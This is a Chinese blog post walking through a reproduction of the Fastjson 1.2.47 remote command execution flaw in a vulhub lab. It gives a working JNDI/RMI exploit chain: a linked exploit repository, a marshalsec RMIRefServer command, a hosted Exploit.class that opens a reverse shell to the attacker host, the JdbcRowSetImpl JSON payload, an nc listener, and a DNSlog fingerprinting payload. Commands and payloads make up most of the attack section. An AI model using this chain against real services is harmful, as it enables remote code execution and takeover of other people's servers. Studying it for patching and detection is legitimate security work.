Fastjson1.2.47版本远程命令执行漏洞

我的一个好朋友和我说,他在淘宝挖到fastjson命令执行,获得了一万奖金。我虽然是个学渣,也不太懂java,但起码以后碰到了,要知道这个玩意,并且要知道这个玩意如何挖掘。话不多说,开始复现之路。


坑点

RMIRefServer和http服务都有收到请求,但是就是反弹不了shell,很有可能是本地编译.class的java版本问题,或者最好使用java 1.7版本

成功
在这里插入图片描述
失败
在这里插入图片描述

环境

攻击机ip 192.168.10.144 漏洞环境ip 192.168.10.158(直接用docker+vulhub的环境搭建)
攻击的步骤:

  • 1.Exploit.exp需要进行javac编译

  • 2 所有用的工具和编译后的包要在同一目录,然后在该目录启动http服务和启动一个RMI服务器,监听9999端。其中RMI服务marshalsec.jndi.RMIRefServer 是需要jdk1.8版本的。(其中Exp下载地址里边已经有编译好的marshalsec-0.0.3-SNAPSHOT-all.jar,就不用下载meavn对marshalsec进行打包,能省去很长的时间)

  • 3 发送构造好的请求包,nc监听得到反弹shell

为了方便对Exploit.java编译,我选择了用windows来操作
Exp 下载地址 :https://github.com/CaijiOrz/fastjson-1.2.47-RCE
下载好后会有三个文件
在这里插入图片描述

其中Exploit.java只是一段反弹shell的代码,需要修改为攻击机的ip和端口
在这里插入图片描述

然后来到jdk的bin目录下使用javac进行编译,然后会生成一个Exploit.class文件
在这里插入图片描述

然后把编译好的Exploit.class文件和Exploit.java, marshalsec-0.0.3-SNAPSHOT-all.jar三个文件放置同一个目录下,然后发送至攻击机
在这里插入图片描述

然后在Exploit.class的目录下开启python的简单http服务,相当于访问http://192.168.10.144/Exploit.class就能下载
在这里插入图片描述

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.144:8081/#Exploit" 9999

在这里插入图片描述

构造exp请求包,并多开端口进行nc监听1234

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.144:9999/Exploit",
        "autoCommit":true
    }
}

构造好的请求包发送如下,注意Content-type格式要json,并且是post请求。
在这里插入图片描述

然后攻击机就能收到反弹回来的shell了
在这里插入图片描述

漏洞指纹
  • 1 DNSlog平台验证
    (比网上很多payload都要好用,通杀版本)
 {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog的位置"}}

在这里插入图片描述
在这里插入图片描述

  • 2 故意构造一个不完整的json发送请求

在这里插入图片描述

故意构造一个不完整的json发送请求,会发现响应包会有alibaba.fastjson
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值